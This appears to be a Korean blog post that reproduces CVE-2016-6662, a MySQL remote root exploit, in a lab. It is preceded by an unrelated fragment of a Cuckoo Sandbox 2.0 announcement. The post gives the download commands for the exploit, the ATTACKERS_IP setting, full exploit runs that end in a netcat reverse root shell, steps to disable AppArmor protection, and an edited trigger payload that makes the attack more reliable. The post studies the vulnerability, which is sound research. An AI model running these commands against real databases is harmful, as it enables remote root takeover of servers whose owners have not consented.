EXTRA SERVICES AS PART OF AN ANALYSIS

이제 많은 사용자들이 오랫동안 요청해온 기능을 소개한다. 경우에 따라 회사 네트워크를 대상으로 확산하는 기능을 가진 악성코드의 경우 로컬 네트워크에서 사용 가능한 서버를 추가로 구성하고 이를 악성코드가 검색하여 식별한 후 확산할 수 있다. 따라서 악성코드는 근처 서비스의 자원을 식별하기 위해 접근할 수 있다. 이전 버전의 Cuckoo는 기본적인 분석을 위한 가상 머신과 함께 가상 머신을 추가로 실행하여 좀 더 현실적인 환경을 제공한다.

이 기능은 매우 원시적인 단계지만 현실적인 허니팟 시나리오의 지원을 기대한다. 현재 취약한 HTTP, SMTP 그리고 FTP 서버와 같은 서비스를 호스팅하기 위해 하나 이상의 VM을 시작할 수 있지만, 미래에는 현실적인 기업 환경을 재현하기 위해 Active Directory 서버를 지원하려고 노력한다.

CONCLUSION

이 포스팅의 길이가 곧 나오는 Cuckoo Sandbox 2.0 릴리즈의 규모를 반영한 것이다. 많은 시간과 노력을 투자해왔으며, 최근 발전하는 흥미로운 많은 기술들을 환영한다.

많은 참가자의 의견, 버그 발견, 기능 요구를 기다리고 있으며, 이 프로젝트의 미래를 위해 우리와 상의하고 싶다면 IRC 채널(#cuckoosandbox on FreeNode)에 방문하길 바란다.

누락된 경우가 있을 수 있기에 새로운 커뮤니티 플랫폼도 공개한다. 완전히 새로운 소프트웨어로 이전 사이트를 변경했기에 오래된 컨텐츠는 잠시 사라졌을 것이다. 사라진 컨텐츠를 통합하여 복원하기 위해 노력할 것이다. 

출처


포스팅:

취약점 테스트

테스트를 위해 두 운영체제를 준비했다.

  • Kali Linux v2016.2 - 192.168.0.140
  • Ubuntu 14.04 LTS x64 - 192.168.0.128

그리고 테스트할 데이터베이스로 MySQL 5.5.50을 준비했다.

  • MySQL 5.5.50-0ubuntu0.14.04.1
설치 방법은 5.5.50을 배포하는 당시 sudo apt-get install mysql-server로 설치했다. 만약 5.5.50 버전의 소스코드를 다운로드하여 직접 컴파일할 경우 이 포스트에서 설명하는 것과 다른 환경이 구성된다.

공통 환경 구성

데이터베이스 서버 공통 구성

데이터베이스 생성

다음과 같이 데이터베이스를 생성한다. 생성한 데이터베이스를 소유하는 소유자와 그 소유자의 패스워드도 함께 설정한다.

CREATE DATABASE pocdb;
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';

/etc/mysql/my.cnf 소유자 변경

우분투 운영체제에서 MySQL을 apt-get으로 설치하면 /etc/mysql/ 디렉터리에 my.cnf 설정 파일이 생성되고 소유자는 root를 가진다. 하지만 PoC 문서에서 언급하는 "안전한 서비스 운영"과 "보안 가이드"에서 mysql 디렉터리와 my.cnf 설정 파일 소유자가 MySQL로 사용하도록 권장한다는 근거를 바탕으로 my.cnf 소유자를 MySQL로 변경한다.

sudo chown mysql:mysql /etc/mysql/my.cnf && ls -al /etc/mysql/my.cnf

bind-address 설정

원격에서 진행 가능한 취약점이기에 localhost로 진행하지 않고 서로 다른 아이피를 가진 두 개의 운영체제에서 진행한다. 이를 위해서는 원격에서 데이터베이스 서버로 접근할 수 있도록 아이피를 설정한다. 환경 변수 bind-address/etc/mysql/my.cnf 의 47번째 줄에 위치한다.

bind-address = 192.168.0.128


공격 운영체제 공통 설정

칼리 리눅스에서 다음 두 명령으로 공격 코드를 다운로드한다.

wget http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py
wget http://legalhackers.com/exploits/mysql_hookandroot_lib.c

0ldSQL_MySQL_RCE_exploit.py 스크립트가 실행되면 my.cnf에 악의적인 설정을 주입하고, 주입된 설정이 데이터베이스 서버에서 실행되면 리버스 커넥션이 맺어진다. 그래서 이 스크립트가 잘 실행되면 netcat이 실행되면서 6033 포트로 리스닝 상태가 된다.

그러면 데이터베이스 서버에서 칼리 리눅스로 리버스 커넥션이 맺어지도록 설정을 변경한다. 데이터베이스 서버에서 리버스 커넥션 하기 위해서는 아이피는 mysql_hookandroot_lib.c#define ATTACKERS_IP의 값을 수정하여 설정할 수 있다.

#define ATTACKERS_IP "192.168.0.140"

데이터베이스 계정, 비밀번호, 데이터베이스의 아이피, 데이터베이스 이름 그리고 악의적인 설정을 주입할 설정 파일 경로를 다음과 같이 입력한다.

python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.128 -dbname pocdb -mycnf /etc/mysql/my.cnf

만약 No module named mysql.connector 에러가 발생한다면 mysql.connector 파이썬 라이브러리를 설치한다.

apt-get install python-mysql.connector


MySQL 5.5.50-0ubuntu0.14.04.1 테스트

위 과정이 끝났다면 공격을 진행한다. 그러면 다음과 같은 메시지를 볼 수 있다.

python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.128 -dbname pocdb -mycnf /etc/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.0.128 and target mysql account 'attacker@192.168.0.128' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf

[!] Something went wrong: 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)

[!] Exiting (code: 6)

MySQL 데이터베이스에서 변경된 사항과 로그들을 분석하여 행위를 종합해보면

  • 데이터베이스 서버에 poctable.TRG 생성 완료
  • 데이터베이스 서버에 mysql_hookandroot_lib.so 생성 완료
  • 데이터베이스 서버의 /etc/mysql/my.cnf에 악의적인 설정 주입 실패 > "설정 파일을 해당 경로에서 찾을 수 없음"을 출력

결론적으론 /etc/mysql/my.cnf 파일에 악의적인 설정 주입만 실패한 것을 볼 수 있다. 지금 구축한 환경에서는 PoC 문서의 1) 항목에서 언급한 내용은 진행되지 않는다.

그래서 2) 항목의 방법을 이용하여 진행할 수 있다. 2) 형태를 살펴보면 /var/lib/mysql/my.cnf에 악의적인 설정을 주입하는데, 이 파일은 섹션 형태로 시작하지 않으면 MySQL이 구성 파일을 로드하지 않는다고 언급되어 있다. /var/lib/mysql/my.cnf에는 파일이 존재하지 않고, 새로운 파일을 생성하여 로그를 주입한다면 섹션 형태로 시작하지 않을 것이다.

2) 형태에 맞춰 설정을 재구성한다. 먼저 공격하기 전에 스냅샷을 설정해두었다면 편하겠지만, 그렇지 않으면 다음과 같이 명령을 진행하여 앞서 테스트한 흔적들을 모두 제거한다.

sudo rm -f /var/lib/mysql/pocdb/poctable.TRG
sudo rm -f /var/lib/mysql/mysql_hookandroot_lib.so

데이터베이스도 삭제한 후 새롭게 만든다.

mysql -u root -p

Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.5.50-0ubuntu0.14.04.1-log (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> DROP DATABASE pocdb;
Query OK, 1 row affected (0.01 sec)

mysql> CREATE DATABASE pocdb;
Query OK, 1 row affected (0.00 sec)

mysql> GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';
Query OK, 0 rows affected (0.00 sec)

mysql> GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';  
Query OK, 0 rows affected (0.00 sec)

mysql> Bye

이제 /etc/mysql/my.cnf 파일을 /var/lib/mysql/에 복사한다.

sudo cp /etc/mysql/my.cnf /var/lib/mysql/my.cnf

/var/lib/mysql/my.cnf 가 소유자가 MySQL인지 다시 확인하고, 아니라면 MySQL로 설정한다.

sudo chown mysql:mysql /var/lib/mysql/my.cnf

모든 설정이 끝났다면 MySQL 서비스를 재시작한다. 이때 단순히 mysqld를 재시작하는 것이 아니라 mysqld_safe 모드로 실행한다.

sudo service mysql stop
sudo mysqld_safe &

mysqld와 mysqld_safe가 실행 중인지 확인한다.

ps aux | grep mysqld

root       9296  0.0  0.1  72464  4380 pts/9    S    19:55   0:00 sudo mysqld_safe
root       9297  0.0  0.0   4448  1608 pts/9    S    19:55   0:00 /bin/sh /usr/bin/mysqld_safe
mysql      9967  0.2  1.1 418956 47184 pts/9    Sl   19:55   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
hakawati   9986  0.0  0.0  17168  2540 pts/9    S+   19:56   0:00 grep --color=auto mysqld

이제 모든 준비가 완료되었다. 공격 스크립트에서 mycnf 인자를 /etc/mysql/my.cnf에서 /var/lib/mysql/my.cnf로 변경하여 공격하면 /var/lib/mysql/my.cnf 설정에 악의적인 설정이 주입되고, 그 결과를 출력한 후 리버스 커넥션 대기상태가 된다.

python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.128 -dbname pocdb -mycnf /var/lib/mysql/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com


[+] Connecting to target server 192.168.0.128 and target mysql account 'attacker@192.168.0.128' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /var/lib/mysql/my.cnf

[+] Showing the contents of /var/lib/mysql/my.cnf config to verify that our setting (malloc_lib) got injected


#
# The MySQL database server configuration file.
#
# You can copy this to one of:
# - "/etc/mysql/my.cnf" to set global options,
# - "~/.my.cnf" to set user-specific options.
# 
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html

# This will be passed to all mysql clients
# It has been reported that passwords should be enclosed with ticks/quotes
# escpecially if they contain "#" chars...
# Remember to edit /etc/mysql/debian.cnf when changing the socket location.
[client]
port         = 3306
socket         = /var/run/mysqld/mysqld.sock

# Here is entries for some specific programs
# The following values assume you have at least 32M ram

# This was formally known as [safe_mysqld]. Both versions are currently parsed.
[mysqld_safe]
socket         = /var/run/mysqld/mysqld.sock
nice         = 0

[mysqld]
#
# * Basic Settings
#
user         = mysql
pid-file    = /var/run/mysqld/mysqld.pid
socket         = /var/run/mysqld/mysqld.sock
port         = 3306
basedir         = /usr
datadir         = /var/lib/mysql
tmpdir         = /tmp
lc-messages-dir    = /usr/share/mysql
skip-external-locking
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address         = 192.168.0.128
#
# * Fine Tuning
#
key_buffer         = 16M
max_allowed_packet    = 16M
thread_stack         = 192K
thread_cache_size       = 8
# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
myisam-recover         = BACKUP
#max_connections        = 100
#table_cache            = 64
#thread_concurrency     = 10
#
# * Query Cache Configuration
#
query_cache_limit    = 1M
query_cache_size        = 16M
#
# * Logging and Replication
#
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
general_log_file        = /var/log/mysql/mysql.log
general_log             = 1
#
# Error log - should be very few entries.
#
log_error = /var/log/mysql/error.log
#
# Here you can see queries with especially long duration
#log_slow_queries    = /var/log/mysql/mysql-slow.log
#long_query_time = 2
#log-queries-not-using-indexes
#
# The following can be used as easy to replay backup logs or for replication.
# note: if you are setting up a replication slave, see README.Debian about
#       other settings you may need to change.
#server-id         = 1
#log_bin            = /var/log/mysql/mysql-bin.log
expire_logs_days    = 10
max_binlog_size         = 100M
#binlog_do_db         = include_database_name
#binlog_ignore_db    = include_database_name
#
# * InnoDB
#
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
# Read the manual for more InnoDB related options. There are many!
#
# * Security Features
#
# Read the manual, too, if you want chroot!
# chroot = /var/lib/mysql/
#
# For generating SSL certificates I recommend the OpenSSL GUI "tinyca".
#
# ssl-ca=/etc/mysql/cacert.pem
# ssl-cert=/etc/mysql/server-cert.pem
# ssl-key=/etc/mysql/server-key.pem



[mysqldump]
quick
quote-names
max_allowed_packet    = 16M

[mysql]
#no-auto-rehash    # faster start of mysql but no tab completition

[isamchk]
key_buffer         = 16M

#
# * IMPORTANT: Additional settings that can override those from this file!
#   The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/
/usr/sbin/mysqld, Version: 5.5.50-0ubuntu0.14.04.1-log ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
             3 Query    SET global general_log = on
             3 Query    select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
             3 Query    SET global general_log = off

[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...

MySQL 서비스와 mysqld_safe를 모두 kill 명령으로 강제 종료하고 다시 mysqld_safe로 실행시키면 리버스 커넥션이 맺어지는 것을 볼 수 있다.

[...]

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

listening on [any] 6033 ...
193.192.168.0.128: inverse host lookup failed: Unknown host
connect to [192.168.0.140] from (UNKNOWN) [192.168.0.128] 57761
root@hakawati-virtual-machine:/home/hakawati# 


추가 내용

취약한 버전인데 PoC 작성자가 작성한 대로 진행되지 않는 이유가 궁금해서 스스로 의문사항을 만들어 그 답을 찾아보았다.

  • 왜 service 명령으로 mysqld를 실행했을 때 mysqld_safe가 실행되지 않을까?
  • /etc/mysql/my.cnf에 로그를 주입할 수 없을까?
  • mysqld와 mysqld_safe의 차이와 악용에 사용되는 --malloc-lib 파라미터의 기능은 무엇일까?
  • 왜 데이터베이스를 재시작하여 셸에는 붙었지만 데이터베이스 데몬이 실행되지 않을까?
  • 수정하지 않은 PoC, 실행되지 않은 데이터베이스, 하지만 왜 공격이 가능할까?
  • 로그 내용이 my.cnf에 사용해도 에러가 발생하지 않는 이유는 무엇을까?
  • 중복 선언, 덮어쓰기를 해도 동작하는 이유는 뭘까?
  • /etc/mysql/my.cnf 소유자가 root인데 어떻게 mysql이 읽을 수 있을까?
  • 공격이 성공했을 때 mysql.log에는 어떤 기록이 남을까?

왜 service 명령으로 mysqld를 실행했을 때 mysqld_safe가 실행되지 않을까?

실험 중인 운영체제(우분투 14.04 LTS)에서 데몬을 실행시키는 방법에는 두 가지가 있다. 하지만 문서에서는 mysqld을 실행되면 서비스에는 mysqld_safe가 함께 사용되고 있음을 보여준다. 실제 테스트해보면 서비스를 실행시키는 두 가지 방법에는 차이가 있다.

service 명령으로 mysqld 실행

sudo service mysql start
mysql start/running, process 2970
ps aux | grep mysql
mysql      2970  1.5  1.1 484688 47684 ?        Ssl  16:20   0:00 /usr/sbin/mysqld
hakawati   3099  0.0  0.0  17164  2524 pts/4    S+   16:20   0:00 grep --color=auto mysql

/etc/init.d/ 위치에서 mysqld 실행

sudo /etc/init.d/mysql start
 * Starting MySQL database server mysqld                                                                                                                                                              [ OK ] 
 * Checking for tables which need an upgrade, are corrupt or were 
not closed cleanly.
ps aux | grep mysql
root       3153  0.0  0.0   4448  1620 pts/4    S    16:21   0:00 /bin/sh /usr/bin/mysqld_safe
mysql      3514  0.4  1.1 484688 47516 pts/4    Sl   16:21   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
hakawati   3660  0.0  0.0  17164  2520 pts/4    S+   16:21   0:00 grep --color=auto mysql

두 명령의 차이는 service 명령의 man 페이지에서 확인할 수 있다. 요약하면 다음과 같다.

시스템 V의 init 스크립트를 실행하는 명령으로 /etc/init.d/SCRIPT 보다 /etc/init를 먼저 실행한다.

결론적으로 service는 /etc/init에 MySQL 관련된 부분이 있으면 그것을 먼저 실행시키는 명령이다. /etc/init에는 mysql.conf 파일이 존재한다. 이 파일에는 다음과 같은 내용이 포함되어 있으며, 47 라인에서 볼 수 있듯이 mysqld_safe 실행 없이 mysqld만 실행한다.

env HOME=/etc/mysql
umask 007

# The default of 5 seconds is too low for mysql which needs to flush buffers
kill timeout 300

pre-start script
    ## Fetch a particular option from mysql's invocation.
    # Usage: void mysqld_get_param option
    mysqld_get_param() {
      /usr/sbin/mysqld --print-defaults \
        | tr " " "\n" \
        | grep -- "--$1" \
        | tail -n 1 \
        | cut -d= -f2
    }

    # priority can be overriden and "-s" adds output to stderr
    ERR_LOGGER="logger -p daemon.err -t /etc/init/mysql.conf -i"

    #Sanity checks
    [ -r $HOME/my.cnf ]
    [ -d /var/run/mysqld ] || install -m 755 -o mysql -g root -d /var/run/mysqld
    /lib/init/apparmor-profile-load usr.sbin.mysqld

    # check for diskspace shortage
    datadir=`mysqld_get_param datadir`
    BLOCKSIZE=`LC_ALL=C df --portability $datadir/. | tail -n 1 | awk '{print $4}'`
    if [ $BLOCKSIZE -le 4096 ] ; then
      echo "$0: ERROR: The partition with $datadir is too full!" >&2
      echo "ERROR: The partition with $datadir is too full!" | $ERR_LOGGER
      exit 1
    fi
end script

exec /usr/sbin/mysqld

/etc/init.d/mysql에서는 109 라인에서 볼 수 있듯이 mysqld가 아닌 mysqld_safe를 실행한다. 결과적으로 다르게 실행하는 것을 알 수 있다.

case "${1:-''}" in
  'start')
        sanity_checks;
        # Start daemon
        log_daemon_msg "Starting MySQL database server" "mysqld"
        if mysqld_status check_alive nowarn; then
           log_progress_msg "already running"
           log_end_msg 0
        else
            # Could be removed during boot
            test -e /var/run/mysqld || install -m 755 -o mysql -g root -d /var/run/mysqld

            # Start MySQL! 
            /usr/bin/mysqld_safe > /dev/null 2>&1 &

            # 6s was reported in #352070 to be too few when using ndbcluster
        # 14s was reported in #736452 to be too few with large installs
        for i in $(seq 1 30); do
                sleep 1
                if mysqld_status check_alive nowarn ; then break; fi
                log_progress_msg "."
            done
            if mysqld_status check_alive warn; then
                log_end_msg 0
                # Now start mysqlcheck or whatever the admin wants.
                output=$(/etc/mysql/debian-start)
                [ -n "$output" ] && log_action_msg "$output"
            else
                log_end_msg 1
                log_failure_msg "Please take a look at the syslog"
            fi
        fi
        ;;

그래서 다음과 같은 가설을 세웠다.

현재 상황에서는 mysqld_safe만이 /etc/mysql/my.cnf에 로그를 주입하는 형태로 작성할 수 있다.

실험을 위해 mysqld_safe를 실행 실행시켰다. mysqld_safe를 실행시키기 위해 다음 두 가지 방법 중 하나를 선택하였다.

  • /etc/init/mysql.conf를 삭제한 후 sudo service mysql start 실행
  • sudo /etc/init.d/mysql start로 데몬을 실행

하지만 여전히 /etc/mysql/my.cnf를 덮어쓰는 것은 불가능했다.

왜 /etc/mysql/my.cnf 에 로그를 주입할 수 없을까?

my.cnf 파일의 소유자를 MySQL로 변경해야 하는 근거를 "설정 가이드"와 "보안 가이드"를 언급하는 걸로 정당성을 확보했다고 치자. 그렇다면 왜 취약한 mysql 5.5.50에서 mysql 소유자로 변경했음에도 로그 주입이 실패한 원인은 무엇일까. 그 해답을 PoC 스크립트 실행 시 출력되는 에러 코드에서 찾을 수 있었다.

[!] Something went wrong: 29 (HY000): File '/etc/mysql/my.cnf' not found (Errcode: 13)

MySQL과 관련 있는 Errcode: 13을 검색해보니 이곳에서 Apparmor에 관해 언급하고 있었다. 따라서 Apparmor의 설정이 위치한 /etc/apparmor.d/usr.sbin.mysqld 파일을 살펴보았다.

이 설정 파일의 25 라인에서 볼 수 있듯이 /etc/mysql/my.cnf는 읽을(r) 수만 있도록 설정되어 있다. 실습에서 사용할 수 있었던 /var/lib/mysql/my.cnf는 라인 33에서 볼 수 있듯이 읽고(r), 쓰고(w), 독점(k)할 수 있도록 설정되어 있다.

# vim:syntax=apparmor
# Last Modified: Tue Jun 19 17:37:30 2007
#include <tunables/global>

/usr/sbin/mysqld {
  #include <abstractions/base>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>
  #include <abstractions/mysql>
  #include <abstractions/winbind>

  capability dac_override,
  capability sys_resource,
  capability setgid,
  capability setuid,

  network tcp,

  /etc/hosts.allow r,
  /etc/hosts.deny r,

  /etc/mysql/*.pem r,
  /etc/mysql/conf.d/ r,
  /etc/mysql/conf.d/* r,
  /etc/mysql/*.cnf r,
  /usr/lib/mysql/plugin/ r,
  /usr/lib/mysql/plugin/*.so* mr,
  /usr/sbin/mysqld mr,
  /usr/share/mysql/** r,
  /var/log/mysql.log rw,
  /var/log/mysql.err rw,
  /var/lib/mysql/ r,
  /var/lib/mysql/** rwk,
  /var/log/mysql/ r,
  /var/log/mysql/* rw,
  /var/run/mysqld/mysqld.pid rw,
  /var/run/mysqld/mysqld.sock w,
  /run/mysqld/mysqld.pid rw,
  /run/mysqld/mysqld.sock w,

  /sys/devices/system/cpu/ r,

  # Site-specific additions and overrides. See local/README for details.
  #include <local/usr.sbin.mysqld>
}

usr.sbin.mysqld 파일을 삭제하거나, /etc/apparmor.d/disable/ 디렉터리에 usr.sbin.mysqld 파일의 심볼릭 링크를 생성하면 MySQL 서비스를 보호하기 위한 Apparmor가 동작하지 않는다. 아니면 33 라인의 /etc/mysql/*.cnf에 쓸(w) 수 있도록 권한을 추가하는 방법을 선택해도 좋다.

추천하는 방법은 disable 디렉터리를 이용하는 것이다. 다음과 같이 disable 디렉터리에 심볼릭 링크를 생성하고 Apparmor가 usr.sbin.mysqld 프로파일을 다시 파싱하면 더 이상 mysqld은 Apparmor의 보호를 받지 못한다.

sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

이제 /etc/mysql/my.cnf를 쓰는 형태로 CVE-2016-6662를 다시 테스트해보면 잘 덮어쓰는 것을 확인할 수 있다.

PoC 작성자는 "또한 리눅스 배포판에서 기본 정책으로 활성화하도록 설치되는 SELinux와 Apparmor와 같은 보안 모듈에서 운영하는 MySQL 서비스에도 공격이 가능하다"라고 언급했지만, 실제로는 Apparmor에 의해 CVE-2016-6662로부터 보호할 수 있다는 것을 확인할 수 있다.

mysqld와 mysqld_safe의 차이와 악용에 사용되는 --malloc-lib 파라미터의 기능은 무엇일까?

Apparmor를 우회했다고 해도, mysqld만 실행된 것과 mysqld_safe를 통해 mysqld를 실행하는 것은 다른 결과를 보여준다. mysqld는 백도어를 실행하지 못하고, mysqld_safe는 백도어를 실행하여 원격에서 root 권한으로 셸을 얻을 수 있다. 이 둘은 어떤 차이를 가질까. mysqld_safe의 man 페이지를 살펴보면 기능적 차이를 알 수 있다. 간단하게 요약하면 다음과 같다.

mysqld_safe는 mysqld 서버를 실행시킬 때 권장하는 방법으로, 오류가 발생하면 로그 파일에 런타임 정보를 제공한 후 서버를 재시작시키는 기능이 추가로 도입된 스크립트다.

로깅 기능 빼고 큰 차이는 없어 보인다. 하지만 오라클의 mysqld_safe 설명 페이지에 방문해보면 다양한 기능을 제공한다는 것을 볼 수 있다. 이 취약점에서 우리가 알아야 할 핵심 옵션은 --malloc-lib이다. 이는 말 그대로 동적 메모리 할당을 위해 사용하는 malloc 라이브러리 대신에 다른 라이브러리를 사용할 수 있도록 설정하는 것으로, 주로 MySQL 퍼포먼스를 위해 사용된다. 이 옵션은 mysqld_safe 실행 시 다음과 같이 옵션을 할당하여 사용한다.

--malloc-lib=/opt/lib/i_dont_want_to_use_malloc_of_mysql.so

위와 같이 데몬을 실행할 때 직접 명시하여 사용하지 않으면 다음과 같이 my.cnf에 설정한 환경 변수 내용을 로드한다.

[mysqld_safe]
malloc-lib=/opt/lib/i_dont_want_to_use_malloc_of_mysql.so

왜 데이터베이스를 재시작하여 셸에는 붙었지만 데이터베이스 데몬이 실행되지 않을까?

공격을 진행한 후 mysqld_safe에 의해 error.log에 작성되는 로그를 살펴보면 다음과 같은 에러 문구를 볼 수 있으며, 이 에러로 인해 MySQL 데이터베이스는 실행되지 않는다.

160921 18:45:02 [ERROR] /usr/sbin/mysqld: unknown variable 'malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so'
160921 18:45:02 [ERROR] Aborting

160921 18:45:02  InnoDB: Starting shutdown...
160921 18:45:03  InnoDB: Shutdown completed; log sequence number 1595685
160921 18:45:03 [Note] /usr/sbin/mysqld: Shutdown complete

데이터베이스 실행 중단의 원인은 로그에서 알 수 있듯이 mysqld가 malloc_lib 변수를 이해하지 못하기 때문이다. malloc_lib는 mysqld_safe가 인식하는 변수이기에 [mysqld_safe] 섹션에 선언해야 이 에러를 만나지 않는다. 하지만 주입되는 SQL 코드를 살펴보면 malloc_lib[mysqld] 섹션에 작성된 것을 볼 수 있다.

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

triggers 변수에 사용한 [mysqld][mysqld_safe]로 변경하면 백도어를 잘 실행시키고, 데이터베이스도 잘 동작한다.

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld_safe]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)

수정하지 않은 PoC, 실행되지 않은 데이터베이스, 하지만 왜 공격이 가능할까?

첫 번째로 정석적으로는 환경 변수로 --malloc-lib를 선언할 때 malloc_lib가 아닌 malloc-lib로 선언해야 한다. 하지만 malloc_lib로 선언해도 사용 가능한 이유는 mysqld_safe wrapper 스크립트의 189 라인에서 확인할 수 있다. 여기에는 _-로 치환하는 코드를 사용한다.

# replace "_" by "-" ; mysqld_safe must accept "_" like mysqld does.
optname_subst=`echo "$optname" | sed 's/_/-/g'`

두 번째로 [mysqld] 섹션에 malloc_lib를 선언했음에도 불구하고 malloc_lib 인수를 로드하여 실행시켰는 가다. 이는 다음과 같은 가설을 가지고 접근했지만, 증명하진 못했다. 하지만 수차례 테스트해본 결과 다음과 같은 잠정적인 결론을 추측할 수 있었다.

mysqld_safe wrapper 스크립트가 실행된 후에 mysqld가 실행된다. 다시 말해서 mysqld가 실행되기 전에 mysqld_safe wrapper 스크립트가 실행되는데, mysqld_safe wrapper 스크립트에는 자신만이 사용하는 환경 변수를 커맨드 라인과 my.cnf에서 파싱한다.

바로 이 파싱 하는 과정에서는 [mysqld_safe] 섹션을 기준으로 다음 섹션을 만나기 전까지의 환경 변수를 파싱하는 것이 아닌 my.cnf 파일에 선언된 모든 환경 변수를 파싱하고, 자신이 인식할 수 있는 환경 변수면 실행하고 아니면 무시하는 형태로 동작할 것이다.

따라서 [mysqld]malloc_lib를 선언해도 mysqld_safe wrapper 스크립트는 [mysqld] 섹션 선언을 무시하고 자신만이 사용할 수 있는 malloc_lib를 파싱하기 때문에 동작할 것이다.

